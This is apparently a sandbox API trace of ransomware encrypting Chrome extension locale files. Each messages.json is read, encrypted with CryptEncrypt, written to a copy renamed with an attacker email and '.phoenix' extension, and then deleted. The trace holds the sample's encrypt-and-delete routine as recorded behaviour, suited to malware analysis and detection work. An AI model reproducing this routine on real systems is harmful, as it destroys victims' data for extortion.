	[0261.453] CryptDestroyKey (hKey=0x151340) returned 1
	[0261.453] CloseHandle (hObject=0x310) returned 1
	[0261.453] CloseHandle (hObject=0x2c0) returned 1
	[0261.453] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json")) returned 1
	[0261.454] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.454] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.455] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=152) returned 1
	[0261.455] CloseHandle (hObject=0x2c0) returned 1
	[0261.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json")) returned 0x20
	[0261.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.455] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.455] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.455] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.455] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.456] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0261.456] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.456] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x98, lpOverlapped=0x0) returned 1
	[0261.457] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa0, dwBufLen=0xa0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa0) returned 1
	[0261.457] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa0, lpOverlapped=0x0) returned 1
	[0261.458] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0261.458] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.458] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.458] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0261.458] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.458] CryptDestroyKey (hKey=0x151100) returned 1
	[0261.458] CloseHandle (hObject=0x2c0) returned 1
	[0261.458] CloseHandle (hObject=0x310) returned 1
	[0261.458] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json")) returned 1
	[0261.459] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.459] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.459] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=255) returned 1
	[0261.459] CloseHandle (hObject=0x310) returned 1
	[0261.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json")) returned 0x20
	[0261.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.498] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.499] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.499] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.499] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.499] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151180) returned 1
	[0261.499] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.499] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xff, lpOverlapped=0x0) returned 1
	[0261.500] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100, dwBufLen=0x100 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100) returned 1
	[0261.500] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x100, lpOverlapped=0x0) returned 1
	[0261.501] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0261.501] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.501] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.501] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0261.501] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.501] CryptDestroyKey (hKey=0x151180) returned 1
	[0261.501] CloseHandle (hObject=0x310) returned 1
	[0261.501] CloseHandle (hObject=0x2c0) returned 1
	[0261.501] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json")) returned 1
	[0261.502] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.502] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.503] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=183) returned 1
	[0261.503] CloseHandle (hObject=0x2c0) returned 1
	[0261.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json")) returned 0x20
	[0261.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.503] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.503] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.503] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.503] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.504] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151080) returned 1
	[0261.504] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.504] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb7, lpOverlapped=0x0) returned 1
	[0261.505] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0261.505] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0261.506] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151340) returned 1
	[0261.506] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.506] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.506] CryptDestroyKey (hKey=0x151340) returned 1
	[0261.506] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.506] CryptDestroyKey (hKey=0x151080) returned 1
	[0261.506] CloseHandle (hObject=0x2c0) returned 1
	[0261.506] CloseHandle (hObject=0x310) returned 1
	[0261.506] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json")) returned 1
	[0261.507] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.507] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.508] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=199) returned 1
	[0261.508] CloseHandle (hObject=0x310) returned 1
	[0261.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json")) returned 0x20
	[0261.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.508] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.508] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.508] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.508] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.509] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151480) returned 1
	[0261.509] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.509] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc7, lpOverlapped=0x0) returned 1
	[0261.569] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0, dwBufLen=0xd0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0) returned 1
	[0261.569] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xd0, lpOverlapped=0x0) returned 1
	[0261.570] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0261.570] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.570] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.570] CryptDestroyKey (hKey=0x151540) returned 1
	[0261.570] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.570] CryptDestroyKey (hKey=0x151480) returned 1
	[0261.570] CloseHandle (hObject=0x310) returned 1
	[0261.570] CloseHandle (hObject=0x2c0) returned 1
	[0261.570] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json")) returned 1
	[0261.571] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.571] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.572] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=318) returned 1
	[0261.572] CloseHandle (hObject=0x2c0) returned 1
	[0261.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json")) returned 0x20
	[0261.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
